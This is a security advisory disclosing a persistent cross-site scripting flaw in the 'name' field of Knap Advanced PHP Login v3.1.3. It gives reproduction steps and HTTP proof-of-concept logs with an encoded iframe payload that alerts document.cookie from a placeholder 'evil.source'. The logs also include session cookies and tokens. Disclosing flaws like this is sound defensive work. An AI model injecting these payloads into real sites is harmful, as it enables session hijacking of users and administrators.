Document Title: =============== Knap (APL) v3.1.3 - Persistent Cross Site Vulnerability Date: ===== 2022-10-09 References: =========== https://www.vulnerability-lab.com/get_content.php?id=2307 VL-ID: ===== 2307 Common Vulnerability Scoring System: ==================================== 5.7 Vulnerability Class: ==================== Cross Site Scripting - Persistent Introduction: ============= Knap is an advanced User Management software written in Laravel 5.4 (PHP Framework) that allows the admin to manage users. Abstract: ========= The vulnerability laboratory core research team discovered a persistent cross site web vulnerability in the Knap Advanced PHP Login v3.1.3 user management web-application. Affected Product(s): ==================== ajay138 Product: Knap Advanced PHP Login v3.1.3 - User Management (Web-Application) Report-Timeline: ================ 2021-09-03: Researcher Notification & Coordination (Security Researcher) 2021-09-04: Vendor Notification (Security Department) 2022-**-**: Vendor Response/Feedback (Security Department) 2022-**-**: Vendor Fix/Patch (Service Developer Team) 2022-**-**: Security Acknowledgements (Security Department) 2022-10-10: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A persistent input validation web vulnerability has been discoveredin the Knap Advanced PHP Login v3.1.3 user management web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent cross site web vulnerability is located in the name parameter of the Profile Account - Account Information module. Remote attackers with ow privileged user accounts are able to inject own malicious script code as name to provoke an execution of the malicious content inside the users and activity log backend modules. The request method to inject is post. The injection points are the user create or update and the execution of the maliciou script code occurs in the activity log and users listings. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Register (Site) [+] Update (Account Information) Vulnerable Input(s): [+] Name Vulnerable Parameter(s): [+] name Affected Module(s): [+] ./users [+] ./activity Proof of Concept: ================= The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Register as user or get registered by the admin 2. Start your web browser and a session tamper or debug tools 3. Open the My Profile menu with the Profile Account information section 4. Change the name input to your script code test payload and save via submit (post) Note: The injected payload executes successfully in the users list (backend) and within the activity log on history (backend) on preview by admins or mods 5. Successful reproduce of the persistent cross site scripting web vulnerability! --- PoC Session Logs (POST [Inject via User Role by Profile Account Update|Create] --- https://knap.froid.works/profiles/102 Host: knap.froid.works Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------73425417436906186553080920069 Content-Length: 29455 Origin: https://knap.froid.works Connection: keep-alive Referer: https://knap.froid.works/profile-edit Cookie: laravel_session=eyJpdiI6Ikt4Zmd3WDVSeThObVlvbnZld1JadWc9PSIsInZhbHVlIjoiN3pubk1YaVwvaWp6aWF2QlNwb3l2T2 h5MzdHZjJUd0Y2em1mUXE4Q1wvZHhnbkhwUW1ZaDU3aytaWFNURk5pc1M4IiwibWFjIjoiM2UwMTg0MGQ0M2VjMDk0YTVkN2M0ZGVjOWM5NmI1NDMzYzUxODU5ZmVkNmNmZDJlMTc5ZmVlYThiNTlkODIxZCJ9 0=_&1=t&2=o&3=k&4=e&5=n&6==&7=S&8=B&9=0&10=q&11=T&12=5&13=b&14=O&15=B&16=k&17=R&18=w&19=d&20=n&21=U&22=J&23=M&24=A&25=z&26=g&27=B &28=e&29=8&30=T&31=X&32=0&33=F&34=q&35=v&36=N&37=L&38=b&39=J&40=I&41=j&42=M&43=k&44=1&45=B&46=z&47=&&48=_&49=m&50=e&51=t&52=h &53=o&54=d&55==&56=P&57=U&58=T&59=&&60=n&61=a&62=m&63=e&64==&65=P&66=i&67=p&68=p&69=o&70=%&71=2&72=2&73=%&74=3&75=E&76=%&77=3 &78=C&79=i&80=m&81=g&82=%&83=3&84=E&85=%&86=3&87=E&88=%&89=2&90=2&91=%&92=3&93=C&94=i&95=f&96=r&97=a&98=m&99=e&100=+&101=s &102=r&103=c&104=%&105=3&106=D&107=e&108=v&109=i&110=l&111=.&112=s&113=o&114=u&115=r&116=c&117=e&118=+&119=o&120=n&121=l&122=o &123=a&124=d&125=%&126=3&127=D&128=a&129=l&130=e&131=r&132=t&133=(&134='&135=P&136=W&137=N&138=D&139='&140=)&141=%&142=3 &143=E&144=%&145=3&146=C&147=%&148=2&149=F&150=i&151=f&152=r&153=a&154=m&155=e&156=%&157=3&158=E&159=&&160=t&161=y&162=p&163=e&164==&165=p&166=e&167=r&168=s&169=o&170=n&171=a&172=l&173=I&174=n&175=f&176=o &177=&&178=e&179=m&180=a&181=i&182=l&183==&184=f&185=t&186=p&187=%&188=4&189=0&190=l&191=i&192=v&193=e&194=.&195=c&196=o &197=m&198=&&199=d&200=o&201=b&202==&203=2&204=0&205=2&206=1&207=-&208=0&209=9&210=-&211=1&212=0&213=&&214=g&215=e&216=n&217=d&218=e&219=r&220==&221=m&222=a&223=l&224=e&225=&&226=c&227=u&228=s&229=t&230=o &231=m&232=_&233=f&234=i&235=e&236=l&237=d&238=s&239=_&240=d&241=a&242=t&243=a&244=%&245=5&246=B&247=u&248=r&249=b&250=_ &251=1&252=%&253=5&254=D&255==&256=t&257=e&258=s &259=t&260=e&_token=SB0qT5bOBkRwdnUJMAzgBe8TX0FqvNLbJIjMk1Bz&_method=PUT&name=Pippo">>"&type=personalInfo &email=ftp@live.com&dob=2021-09-10&gender=male&custom_fields_data[urb_1]=teste - POST: HTTP/1.1 200 OK Server: Apache/2.4.39 (Ubuntu) Set-Cookie: laravel_session=eyJpdiI6Ik1zbUliRHJrMjNqY2pPcDQ5aENtYVE9PSIsInZhbHVlIjoiRjVYTG9aNjJUTlwvbHJDZ2xQbUx6V1hTOFg2SnlWeTBDYW1HVHNVOEJ4bUR KZ3ExMFVRcEE0bEI5OURMUm55RVciLCJtYWMiOiIzMzg2OTAyZTcyMDJmOGQ0ZWY5MWNjY2ZkZmRkOTA3NzA2NjI1NzViOWM5OWVlMzE0ZTZjMzhjMjRjMjE0N2VhIn0%3D; expires=Fri, 10-Sep-2021 19:09:50 GMT; Max-Age=7200; path=/; httponly Content-Length: 53 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json --- PoC Session Logs (POST [Inject via Admin Role] --- https://knap.froid.works/users/102 Host: knap.froid.works Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------23081715668612801831491484963 Content-Length: 39263 Origin: https://knap.froid.works Connection: keep-alive Referer: https://knap.froid.works/users Cookie: laravel_session=eyJpdiI6IktJUUlXU21TZHZGRHdkNEczbGZwMXc9PSIsInZhbHVlIjoidlhcLzl3cU1UbHVwZFVDclhkXC9CZGdDNkh XTEtlTnNmNWlWY3hwRzd3ZFNUcVI3R1plVHc1NE5tRUJoVmxobElQIiwibWFjIjoiODYyMmNiMjFlYTJjYzdkNGZkOTI2ZWQzYjg2M2U5OTA5NWI5NzVhYzExOWYzYTcwMTkyOTk1ZDMxOGRhNWE3OSJ9 0=_&1=t&2=o&3=k&4=e&5=n&6==&7=S&8=B&9=0&10=q&11=T&12=5&13=b&14=O&15=B&16=k&17=R&18=w&19=d&20=n&21=U&22=J&23=M&24=A&25=z&26=g&27=B&28=e&29=8&30=T&31=X&32=0&33= F&34=q&35=v&36=N&37=L&38=b&39=J&40=I&41=j&42=M&43=k&44=1&45=B&46=z&47=&&48=_&49=m&50=e&51=t&52=h&53=o&54=d&55==&56=P&57=U&58=T&59=&&60=n&61=a&62=m&63= e&64==&65=P&66=i&67=p&68=p&69=o&70=%&71=2&72=2&73=%&74=3&75=E&76=%&77=3&78=C&79=i&80=f&81=r&82=a&83=m&84=e&85=%&86=3&87=E&88=%&89=3&90=E&91=%&92=2&93= 2&94=%&95=3&96=C&97=i&98=f&99=r&100=a&101=m&102=e&103=+&104=s&105=r&106=c&107=%&108=3&109=D&110=e&111=v&112=i&113=l&114=.&115=s&116=o&117=u&118=r&119= c&120=e&121=+&122=o&123=n&124=l&125=o&126=a&127=d&128=%&129=3&130=D&131=a&132=l&133=e&134=r&135=t&136=(&137=d&138=o&139=c&140=u&141=m&142=e&143=n&144= t&145=.&146=c&147=o&148=o&149=k&150=i&151=e&152=)&153=%&154=3&155=E&156=%&157=3&158=C&159=%&160=2&161=F&162=i&163=f&164=r&165=a&166=m&167=e&168=%&169=3&170=E&171=&&172=e&173=m&174=a&175=i&176=l&177==&178=f&179=e&180=l&181=i&182=x&183=d&184=i&185=r&186=%&187=4&188=0&189=l&190=i&191=v&192= e&193=.&194=c&195=o&196=m&197=&&198=d&199=o&200=b&201==&202=2&203=0&204=2&205=1&206=-&207=0&208=9&209=-&210=1&211=0&212=&&213=g&214=e&215=n&216=d&217=e&218=r&219==&220=m&221=a&222=l&223=e&224=&&225=p&226=a&227=s&228=s&229=w&230=o&231=r&232= d&233==&234=&&235=x&236=C&237=o&238=o&239=r&240=d&241=O&242=n&243=e&244==&245=&&246=y&247=C&248=o&249=o&250=r&251=d&252=O&253=n&254= e&255==&256=&&257=p&258=r&259=o&260=f&261=i&262=l&263=e&264=I&265=m&266=a&267=g&268=e&269=W&270=i&271=d&272=t&273=h&274==&275=&&276= p&277=r&278=o&279=f&280=i&281=l&282=e&283=I&284=m&285=a&286=g&287=e&288=H&289=e&290=i&291=g&292=h&293=t&294==&295=&&296=c&297=u&298= s&299=t&300=o&301=m&302=_&303=f&304=i&305=e&306=l&307=d&308=s&309=_&310=d&311=a&312=t&313=a&314=%&315=5&316=B&317=u&318=r&319=b&320=_&321=1&322=%&323=5&324=D&325==&326=a&327=s&328=d&329=a&330=&&331=s&332=t&333=a&334=t&335=u&336=s&337==&338=a&339=c&340=t&341= i&342=v&343=e&_token=SB0qT5bOBkRwdnUJMAzgBe8TX0FqvNLbJIjMk1Bz&_method=PUT&name=Pippo">>"&email=felixdir@live.com&dob=2021-09-10&gender=male&password=&image=&xCoordOne=&yCoordOne=&profileImageWidth=&profileImageHeight=&custom_fields_data[urb_1]=asda&status=active - POST: HTTP/1.1 200 OK Server: Apache/2.4.39 (Ubuntu) Set-Cookie: laravel_session=eyJpdiI6IjdiMGZ5MHYzYklHbXpMS3FXK3ExTWc9PSIsInZhbHVlIjoid04yKzJWXC9wMzNEdVdheWJUVHNNS0c5VHQ3R2Y2OGpqY0U1a2VcLzRoM1 hIbzNrZDZCZk45SnhwRW5jTXhNMzNWIiwibWFjIjoiNDJmNGE3ZDgzMDU5Mzk5MjA0MzQwZWJhOGRkZTg0N2FmZWI0NGM4ZjNkZjg3M2Y1ZWNjNjQ2OTM1YTk3Y2UyOSJ9; expires=Fri, 10-Sep-2021 18:52:58 GMT; Max-Age=7200; path=/; httponly Content-Length: 53 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json Vulnerable Source: ./users (knap.deleteAlert)
ID | Avatar | Name | Gender | Roles | Status | Actions | |
---|---|---|---|---|---|---|---|
19 | Abdul Zboncak"><img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe> | test@test.de | male |
| Active | - >"? This action cannot be undone.',19)" class="btn btn-sm btn-danger red"> Delete Vulnerable Source: ./activity